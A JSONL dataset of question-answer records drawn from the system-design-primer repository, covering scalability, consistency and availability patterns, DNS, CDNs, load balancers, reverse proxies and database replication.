{"id": "gh_65db5136d751", "question": "How to: Design a system that scales to millions of users on AWS", "question_body": "About donnemartin/system-design-primer", "answer": "[View exercise and solution](solutions/system_design/scaling_aws/README.md)\n\n![Imgur](images/jj3A5N8.png)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222011"}
{"id": "gh_8de6771944ef", "question": "How to: Object-oriented design interview questions with solutions", "question_body": "About donnemartin/system-design-primer", "answer": "> Common object-oriented design interview questions with sample discussions, code, and diagrams.\n>\n> Solutions linked to content in the `solutions/` folder.\n\n>**Note: This section is under development**\n\n| Question | |\n|---|---|\n| Design a hash map | [Solution](solutions/object_oriented_design/hash_table/hash_map.ipynb)  |\n| Design a least recently used cache | [Solution](solutions/object_oriented_design/lru_cache/lru_cache.ipynb)  |\n| Design a call center | [Solution](solutions/object_oriented_design/call_center/call_center.ipynb)  |\n| Design a deck of cards | [Solution](solutions/object_oriented_design/deck_of_cards/deck_of_cards.ipynb)  |\n| Design a parking lot | [Solution](solutions/object_oriented_design/parking_lot/parking_lot.ipynb)  |\n| Design a chat server | [Solution](solutions/object_oriented_design/online_chat/online_chat.ipynb)  |\n| Design a circular array | [Contribute](#contributing)  |\n| Add an object-oriented design question | [Contribute](#contributing) |", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222019"}
{"id": "gh_4c6ad26232a7", "question": "How to: System design topics: start here", "question_body": "About donnemartin/system-design-primer", "answer": "New to system design?\n\nFirst, you'll need a basic understanding of common principles, learning about what they are, how they are used, and their pros and cons.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222025"}
{"id": "gh_8367aa6a2af4", "question": "How to: Step 1: Review the scalability video lecture", "question_body": "About donnemartin/system-design-primer", "answer": "[Scalability Lecture at Harvard](https://www.youtube.com/watch?v=-W9F__D3oY4)\n\n* Topics covered:\n    * Vertical scaling\n    * Horizontal scaling\n    * Caching\n    * Load balancing\n    * Database replication\n    * Database partitioning", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222030"}
{"id": "gh_f8b25a5730f3", "question": "How to: Step 2: Review the scalability article", "question_body": "About donnemartin/system-design-primer", "answer": "[Scalability](https://web.archive.org/web/20221030091841/http://www.lecloud.net/tagged/scalability/chrono)\n\n* Topics covered:\n    * [Clones](https://web.archive.org/web/20220530193911/https://www.lecloud.net/post/7295452622/scalability-for-dummies-part-1-clones)\n    * [Databases](https://web.archive.org/web/20220602114024/https://www.lecloud.net/post/7994751381/scalability-for-dummies-part-2-database)\n    * [Caches](https://web.archive.org/web/20230126233752/https://www.lecloud.net/post/9246290032/scalability-for-dummies-part-3-cache)\n    * [Asynchronism](https://web.archive.org/web/20220926171507/https://www.lecloud.net/post/9699762917/scalability-for-dummies-part-4-asynchronism)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222036"}
{"id": "gh_6196b7a4182b", "question": "How to: Next steps", "question_body": "About donnemartin/system-design-primer", "answer": "Next, we'll look at high-level trade-offs:\n\n* **Performance** vs **scalability**\n* **Latency** vs **throughput**\n* **Availability** vs **consistency**\n\nKeep in mind that **everything is a trade-off**.\n\nThen we'll dive into more specific topics such as DNS, CDNs, and load balancers.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222042"}
{"id": "gh_0663c7ff4215", "question": "How to: Performance vs scalability", "question_body": "About donnemartin/system-design-primer", "answer": "A service is **scalable** if it results in increased **performance** in a manner proportional to resources added. Generally, increasing performance means serving more units of work, but it can also be to handle larger units of work, such as when datasets grow.\n1\nAnother way to look at performance vs scalability:\n\n* If you have a **performance** problem, your system is slow for a single user.\n* If you have a **scalability** problem, your system is fast for a single user but slow under heavy load.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222049"}
{"id": "gh_627b1f5e869f", "question": "How to: Latency vs throughput", "question_body": "About donnemartin/system-design-primer", "answer": "**Latency** is the time to perform some action or to produce some result.\n\n**Throughput** is the number of such actions or results per unit of time.\n\nGenerally, you should aim for **maximal throughput** with **acceptable latency**.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222061"}
{"id": "gh_b24f1f7c2cdc", "question": "How to: CAP theorem", "question_body": "About donnemartin/system-design-primer", "answer": "Source: CAP theorem revisited\nIn a distributed computer system, you can only support two of the following guarantees:\n\n* **Consistency** - Every read receives the most recent write or an error\n* **Availability** - Every request receives a response, without guarantee that it contains the most recent version of the information\n* **Partition Tolerance** - The system continues to operate despite arbitrary partitioning due to network failures\n\n*Networks aren't reliable, so you'll need to support partition tolerance.  You'll need to make a software tradeoff between consistency and availability.*\n\n#### CP - consistency and partition tolerance\n\nWaiting for a response from the partitioned node might result in a timeout error.  CP is a good choice if your business needs require atomic reads and writes.\n\n#### AP - availability and partition tolerance\n\nResponses return the most readily available version of the data available on any node, which might not be the latest.  Writes might take some time to propagate when the partition is resolved.\n\nAP is a good choice if the business needs to allow for [eventual consistency](#eventual-consistency) or when the system needs to continue working despite external errors.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222076"}
{"id": "gh_51e85a734bbb", "question": "How to: Consistency patterns", "question_body": "About donnemartin/system-design-primer", "answer": "With multiple copies of the same data, we are faced with options on how to synchronize them so clients have a consistent view of the data.  Recall the definition of consistency from the [CAP theorem](#cap-theorem) - Every read receives the most recent write or an error.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222088"}
{"id": "gh_638a9969ad42", "question": "How to: Weak consistency", "question_body": "About donnemartin/system-design-primer", "answer": "After a write, reads may or may not see it.  A best effort approach is taken.\n\nThis approach is seen in systems such as memcached.  Weak consistency works well in real time use cases such as VoIP, video chat, and realtime multiplayer games.  For example, if you are on a phone call and lose reception for a few seconds, when you regain connection you do not hear what was spoken during connection loss.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222093"}
{"id": "gh_5daecf7b6c8d", "question": "How to: Eventual consistency", "question_body": "About donnemartin/system-design-primer", "answer": "After a write, reads will eventually see it (typically within milliseconds).  Data is replicated asynchronously.\n\nThis approach is seen in systems such as DNS and email.  Eventual consistency works well in highly available systems.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222099"}
{"id": "gh_f240de48df6a", "question": "How to: Strong consistency", "question_body": "About donnemartin/system-design-primer", "answer": "After a write, reads will see it.  Data is replicated synchronously.\n\nThis approach is seen in file systems and RDBMSes.  Strong consistency works well in systems that need transactions.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222104"}
{"id": "gh_d7d73536ce86", "question": "How to: Availability patterns", "question_body": "About donnemartin/system-design-primer", "answer": "There are two complementary patterns to support high availability: **fail-over** and **replication**.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222114"}
{"id": "gh_ab4414301a2c", "question": "How to: Disadvantage(s): failover", "question_body": "About donnemartin/system-design-primer", "answer": "* Fail-over adds more hardware and additional complexity.\n* There is a potential for loss of data if the active system fails before any newly written data can be replicated to the passive.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222121"}
{"id": "gh_5f58ad3d73db", "question": "How to: Replication", "question_body": "About donnemartin/system-design-primer", "answer": "#### Master-slave and master-master\n\nThis topic is further discussed in the [Database](#database) section:\n\n* [Master-slave replication](#master-slave-replication)\n* [Master-master replication](#master-master-replication)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222127"}
{"id": "gh_1c8dbea2a398", "question": "How to: Availability in numbers", "question_body": "About donnemartin/system-design-primer", "answer": "Availability is often quantified by uptime (or downtime) as a percentage of time the service is available.  Availability is generally measured in number of 9s--a service with 99.99% availability is described as having four 9s.\n\n#### 99.9% availability - three 9s\n\n| Duration            | Acceptable downtime|\n|---------------------|--------------------|\n| Downtime per year   | 8h 45min 57s       |\n| Downtime per month  | 43m 49.7s          |\n| Downtime per week   | 10m 4.8s           |\n| Downtime per day    | 1m 26.4s           |\n\n#### 99.99% availability - four 9s\n\n| Duration            | Acceptable downtime|\n|---------------------|--------------------|\n| Downtime per year   | 52min 35.7s        |\n| Downtime per month  | 4m 23s             |\n| Downtime per week   | 1m 5s              |\n| Downtime per day    | 8.6s               |\n\n#### Availability in parallel vs in sequence\n\nIf a service consists of multiple components prone to failure, the service's overall availability depends on whether the components are in sequence or in parallel.\n\n###### In sequence\n\nOverall availability decreases when two components with availability < 100% are in sequence:\n\n```\nAvailability (Total) = Availability (Foo) * Availability (Bar)\n```\n\nIf both `Foo` and `Bar` each had 99.9% availability, their total availability in sequence would be 99.8%.\n\n###### In parallel\n\nOverall availability increases when two components with availability < 100% are in parallel:\n\n```\nAvailability (Total) = 1 - (1 - Availability (Foo)) * (1 - Availability (Bar))\n```\n\nIf both `Foo` and `Bar` each had 99.9% availability, their total availability in parallel would be 99.9999%.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222137"}
{"id": "gh_29ae2907f9d3", "question": "How to: Domain name system", "question_body": "About donnemartin/system-design-primer", "answer": "Source: DNS security presentation\nA Domain Name System (DNS) translates a domain name such as www.example.com to an IP address.\n\nDNS is hierarchical, with a few authoritative servers at the top level.  Your router or ISP provides information about which DNS server(s) to contact when doing a lookup.  Lower level DNS servers cache mappings, which could become stale due to DNS propagation delays.  DNS results can also be cached by your browser or OS for a certain period of time, determined by the [time to live (TTL)](https://en.wikipedia.org/wiki/Time_to_live).\n\n* **NS record (name server)** - Specifies the DNS servers for your domain/subdomain.\n* **MX record (mail exchange)** - Specifies the mail servers for accepting messages.\n* **A record (address)** - Points a name to an IP address.\n* **CNAME (canonical)** - Points a name to another name or `CNAME` (example.com to www.example.com) or to an `A` record.\n\nServices such as [CloudFlare](https://www.cloudflare.com/dns/) and [Route 53](https://aws.amazon.com/route53/) provide managed DNS services.  Some DNS services can route traffic through various methods:\n\n* [Weighted round robin](https://www.jscape.com/blog/load-balancing-algorithms)\n    * Prevent traffic from going to servers under maintenance\n    * Balance between varying cluster sizes\n    * A/B testing\n* [Latency-based](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy-latency.html)\n* [Geolocation-based](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/routing-policy-geo.html)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222147"}
{"id": "gh_33475b870580", "question": "How to: Disadvantage(s): DNS", "question_body": "About donnemartin/system-design-primer", "answer": "* Accessing a DNS server introduces a slight delay, although mitigated by caching described above.\n* DNS server management could be complex and is generally managed by [governments, ISPs, and large companies](http://superuser.com/questions/472695/who-controls-the-dns-servers/472729).\n* DNS services have recently come under [DDoS attack](http://dyn.com/blog/dyn-analysis-summary-of-friday-october-21-attack/), preventing users from accessing websites such as Twitter without knowing Twitter's IP address(es).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222153"}
{"id": "gh_f1a25a402f9f", "question": "How to: Content delivery network", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Why use a CDN\nA content delivery network (CDN) is a globally distributed network of proxy servers, serving content from locations closer to the user.  Generally, static files such as HTML/CSS/JS, photos, and videos are served from CDN, although some CDNs such as Amazon's CloudFront support dynamic content.  The site's DNS resolution will tell clients which server to contact.\n\nServing content from CDNs can significantly improve performance in two ways:\n\n* Users receive content from data centers close to them\n* Your servers do not have to serve requests that the CDN fulfills", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222166"}
{"id": "gh_96d646fd0bba", "question": "How to: Disadvantage(s): CDN", "question_body": "About donnemartin/system-design-primer", "answer": "* CDN costs could be significant depending on traffic, although this should be weighed with additional costs you would incur not using a CDN.\n* Content might be stale if it is updated before the TTL expires it.\n* CDNs require changing URLs for static content to point to the CDN.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222173"}
{"id": "gh_85353a5446a4", "question": "How to: Load balancer", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Scalable system design patterns\nLoad balancers distribute incoming client requests to computing resources such as application servers and databases.  In each case, the load balancer returns the response from the computing resource to the appropriate client.  Load balancers are effective at:\n\n* Preventing requests from going to unhealthy servers\n* Preventing overloading resources\n* Helping to eliminate a single point of failure\n\nLoad balancers can be implemented with hardware (expensive) or with software such as HAProxy.\n\nAdditional benefits include:\n\n* **SSL termination** - Decrypt incoming requests and encrypt server responses so backend servers do not have to perform these potentially expensive operations\n    * Removes the need to install [X.509 certificates](https://en.wikipedia.org/wiki/X.509) on each server\n* **Session persistence** - Issue cookies and route a specific client's requests to same instance if the web apps do not keep track of sessions\n\nTo protect against failures, it's common to set up multiple load balancers, either in [active-passive](#active-passive) or [active-active](#active-active) mode.\n\nLoad balancers can route traffic based on various metrics, including:\n\n* Random\n* Least loaded\n* Session/cookies\n* [Round robin or weighted round robin](https://www.g33kinfo.com/info/round-robin-vs-weighted-round-robin-lb)\n* [Layer 4](#layer-4-load-balancing)\n* [Layer 7](#layer-7-load-balancing)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222187"}
{"id": "gh_58f6c9b6fb2a", "question": "How to: Layer 4 load balancing", "question_body": "About donnemartin/system-design-primer", "answer": "Layer 4 load balancers look at info at the [transport layer](#communication) to decide how to distribute requests.  Generally, this involves the source, destination IP addresses, and ports in the header, but not the contents of the packet.  Layer 4 load balancers forward network packets to and from the upstream server, performing [Network Address Translation (NAT)](https://www.nginx.com/resources/glossary/layer-4-load-balancing/).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222193"}
{"id": "gh_9333d0378b14", "question": "How to: Layer 7 load balancing", "question_body": "About donnemartin/system-design-primer", "answer": "Layer 7 load balancers look at the [application layer](#communication) to decide how to distribute requests.  This can involve contents of the header, message, and cookies.  Layer 7 load balancers terminate network traffic, reads the message, makes a load-balancing decision, then opens a connection to the selected server.  For example, a layer 7 load balancer can direct video traffic to servers that host videos while directing more sensitive user billing traffic to security-hardened servers.\n\nAt the cost of flexibility, layer 4 load balancing requires less time and computing resources than Layer 7, although the performance impact can be minimal on modern commodity hardware.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222199"}
{"id": "gh_252f7917a265", "question": "How to: Horizontal scaling", "question_body": "About donnemartin/system-design-primer", "answer": "Load balancers can also help with horizontal scaling, improving performance and availability.  Scaling out using commodity machines is more cost efficient and results in higher availability than scaling up a single server on more expensive hardware, called **Vertical Scaling**.  It is also easier to hire for talent working on commodity hardware than it is for specialized enterprise systems.\n\n#### Disadvantage(s): horizontal scaling\n\n* Scaling horizontally introduces complexity and involves cloning servers\n    * Servers should be stateless: they should not contain any user-related data like sessions or profile pictures\n    * Sessions can be stored in a centralized data store such as a [database](#database) (SQL, NoSQL) or a persistent [cache](#cache) (Redis, Memcached)\n* Downstream servers such as caches and databases need to handle more simultaneous connections as upstream servers scale out", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222207"}
{"id": "gh_1248ca30ee01", "question": "How to: Disadvantage(s): load balancer", "question_body": "About donnemartin/system-design-primer", "answer": "* The load balancer can become a performance bottleneck if it does not have enough resources or if it is not configured properly.\n* Introducing a load balancer to help eliminate a single point of failure results in increased complexity.\n* A single load balancer is a single point of failure, configuring multiple load balancers further increases complexity.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222212"}
{"id": "gh_cb824371ca63", "question": "How to: Reverse proxy (web server)", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Wikipedia\nA reverse proxy is a web server that centralizes internal services and provides unified interfaces to the public.  Requests from clients are forwarded to a server that can fulfill it before the reverse proxy returns the server's response to the client.\n\nAdditional benefits include:\n\n* **Increased security** - Hide information about backend servers, blacklist IPs, limit number of connections per client\n* **Increased scalability and flexibility** - Clients only see the reverse proxy's IP, allowing you to scale servers or change their configuration\n* **SSL termination** - Decrypt incoming requests and encrypt server responses so backend servers do not have to perform these potentially expensive operations\n    * Removes the need to install [X.509 certificates](https://en.wikipedia.org/wiki/X.509) on each server\n* **Compression** - Compress server responses\n* **Caching** - Return the response for cached requests\n* **Static content** - Serve static content directly\n    * HTML/CSS/JS\n    * Photos\n    * Videos\n    * Etc", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222227"}
{"id": "gh_9492e6667a92", "question": "How to: Load balancer vs reverse proxy", "question_body": "About donnemartin/system-design-primer", "answer": "* Deploying a load balancer is useful when you have multiple servers.  Often, load balancers  route traffic to a set of servers serving the same function.\n* Reverse proxies can be useful even with just one web server or application server, opening up the benefits described in the previous section.\n* Solutions such as NGINX and HAProxy can support both layer 7 reverse proxying and load balancing.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222233"}
{"id": "gh_0e066054ff6d", "question": "How to: Disadvantage(s): reverse proxy", "question_body": "About donnemartin/system-design-primer", "answer": "* Introducing a reverse proxy results in increased complexity.\n* A single reverse proxy is a single point of failure, configuring multiple reverse proxies (ie a [failover](https://en.wikipedia.org/wiki/Failover)) further increases complexity.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222238"}
{"id": "gh_a4b5204818cb", "question": "How to: Application layer", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Intro to architecting systems for scale\nSeparating out the web layer from the application layer (also known as platform layer) allows you to scale and configure both layers independently.  Adding a new API results in adding application servers without necessarily adding additional web servers.  The **single responsibility principle** advocates for small and autonomous services that work together.  Small teams with small services can plan more aggressively for rapid growth.\n\nWorkers in the application layer also help enable [asynchronism](#asynchronism).", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222250"}
{"id": "gh_d6e061a10554", "question": "How to: Microservices", "question_body": "About donnemartin/system-design-primer", "answer": "Related to this discussion are [microservices](https://en.wikipedia.org/wiki/Microservices), which can be described as a suite of independently deployable, small, modular services.  Each service runs a unique process and communicates through a well-defined, lightweight mechanism to serve a business goal.\n1\nPinterest, for example, could have the following microservices: user profile, follower, feed, search, photo upload, etc.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222256"}
{"id": "gh_a36cf8073b11", "question": "How to: Service Discovery", "question_body": "About donnemartin/system-design-primer", "answer": "Systems such as [Consul](https://www.consul.io/docs/index.html), [Etcd](https://coreos.com/etcd/docs/latest), and [Zookeeper](http://www.slideshare.net/sauravhaloi/introduction-to-apache-zookeeper) can help services find each other by keeping track of registered names, addresses, and ports.  [Health checks](https://www.consul.io/intro/getting-started/checks.html) help verify service integrity and are often done using an [HTTP](#hypertext-transfer-protocol-http) endpoint.  Both Consul and Etcd have a built in [key-value store](#key-value-store) that can be useful for storing config values and other shared data.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222262"}
{"id": "gh_5d9b7288549a", "question": "How to: Disadvantage(s): application layer", "question_body": "About donnemartin/system-design-primer", "answer": "* Adding an application layer with loosely coupled services requires a different approach from an architectural, operations, and process viewpoint (vs a monolithic system).\n* Microservices can add complexity in terms of deployments and operations.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222268"}
{"id": "gh_dfaa6675ca4d", "question": "How to: Relational database management system (RDBMS)", "question_body": "About donnemartin/system-design-primer", "answer": "A relational database like SQL is a collection of data items organized in tables.\n\n**ACID** is a set of properties of relational database [transactions](https://en.wikipedia.org/wiki/Database_transaction).\n\n* **Atomicity** - Each transaction is all or nothing\n* **Consistency** - Any transaction will bring the database from one valid state to another\n* **Isolation** - Executing transactions concurrently has the same results as if the transactions were executed serially\n* **Durability** - Once a transaction has been committed, it will remain so\n\nThere are many techniques to scale a relational database: **master-slave replication**, **master-master replication**, **federation**, **sharding**, **denormalization**, and **SQL tuning**.\n\n#### Master-slave replication\n\nThe master serves reads and writes, replicating writes to one or more slaves, which serve only reads.  Slaves can also replicate to additional slaves in a tree-like fashion.  If the master goes offline, the system can continue to operate in read-only mode until a slave is promoted to a master or a new master is provisioned.\nSource: Scalability, availability, stability, patterns\n##### Disadvantage(s): master-slave replication\n\n* Additional logic is needed to promote a slave to a master.\n* See [Disadvantage(s): replication](#disadvantages-replication) for points related to **both** master-slave and master-master.\n\n#### Master-master replication\n\nBoth masters serve reads and writes and coordinate with each other on writes.  If either master goes down, the system can continue to operate with both reads and writes.\nSource: Scalability, availability, stability, patterns\n##### Disadvantage(s): master-master replication\n\n* You'll need a load balancer or you'll need to make changes to your application logic to determine where to write.\n* Most master-master systems are either loosely consistent (violating ACID) or have increased write latency due to synchronization.\n* Conflict resolution comes more into play as more write nodes are added and as latency increases.\n* See [Disadvantage(s): replication](#disadvantages-replication) for points related to **both** master-slave and master-master.\n\n##### Disadvantage(s): replication\n\n* There is a potential for loss of data if the master fails before any newly written data can be replicated to other nodes.\n* Writes are replayed to the read replicas.  If there are a lot of writes, the read replicas can get bogged down with replaying writes and can't do as many reads.\n* The more read slaves, the more you have to replicate, which leads to greater replication lag.\n* On some systems, writing to the master can spawn multiple threads to write in parallel, whereas read replicas only support writing sequentially with a single thread.\n* Replication adds more hardware and additional complexity.\n\n##### Source(s) and further reading: replication\n\n* [Scalability, availability, stability, patterns](http://www.slideshare.net/jboner/scalability-availability-stability-patterns/)\n* [Multi-master replication](https://en.wikipedia.org/wiki/Multi-master_replication)\n\n#### Federation\nSource: Scaling up to your first 10 million users\nFederation (or functional partitioning) splits up databases by function.  For example, instead of a single, monolithic database, you could have three databases: **forums**, **users**, and **products**, resulting in less read and write traffic to each database and therefore less replication lag.  Smaller databases result in more data that can fit in memory, which in turn results in more cache hits due to improved cache locality.  With no single central master serializing writes you can write in parallel, increasing throughput.\n\n##### Disadvantage(s): federation\n\n* Federation is not effective if your schema requires huge functions or tables.\n* You'll need to update your application logic to determine which database to read and write.\n* Joining data from two databases is more complex with a [server link](http://stackoverflow.com/questions/5145637/querying-data-by-joining-two-tables-in-two-database-on-different-servers).\n* Federation adds more hardware and additional complexity.\n\n##### Source(s) and further reading: federation\n\n* [Scaling up to your first 10 million users](https://www.youtube.com/watch?v=kKjm4ehYiMs)\n\n#### Sharding\nSource: Scalability, availability, stability, patterns\nSharding distr", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 332418, "answer_score": 10, "has_code": true, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222308"}
{"id": "gh_9e51d77a36de", "question": "How to: SQL or NoSQL", "question_body": "About donnemartin/system-design-primer", "answer": "Source: Transitioning from RDBMS to NoSQL\nReasons for **SQL**:\n\n* Structured data\n* Strict schema\n* Relational data\n* Need for complex joins\n* Transactions\n* Clear patterns for scaling\n* More established: developers, community, code, tools, etc\n* Lookups by index are very fast\n\nReasons for **NoSQL**:\n\n* Semi-structured data\n* Dynamic or flexible schema\n* Non-relational data\n* No need for complex joins\n* Store many TB (or PB) of data\n* Very data intensive workload\n* Very high throughput for IOPS\n\nSample data well-suited for NoSQL:\n\n* Rapid ingest of clickstream and log data\n* Leaderboard or scoring data\n* Temporary data, such as a shopping cart\n* Frequently accessed ('hot') tables\n* Metadata/lookup tables\n\n##### Source(s) and further reading: SQL or NoSQL\n\n* [Scaling up to your first 10 million users](https://www.youtube.com/watch?v=kKjm4ehYiMs)\n* [SQL vs NoSQL differences](https://www.sitepoint.com/sql-vs-nosql-differences/)", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222327"}
{"id": "gh_0049b67484d9", "question": "How to: Client caching", "question_body": "About donnemartin/system-design-primer", "answer": "Caches can be located on the client side (OS or browser), [server side](#reverse-proxy-web-server), or in a distinct cache layer.", "tags": ["donnemartin"], "source": "github_gists", "category": "donnemartin", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 332418, "answer_score": 10, "has_code": false, "url": "https://github.com/donnemartin/system-design-primer", "collected_at": "2026-01-17T08:19:54.222333"}
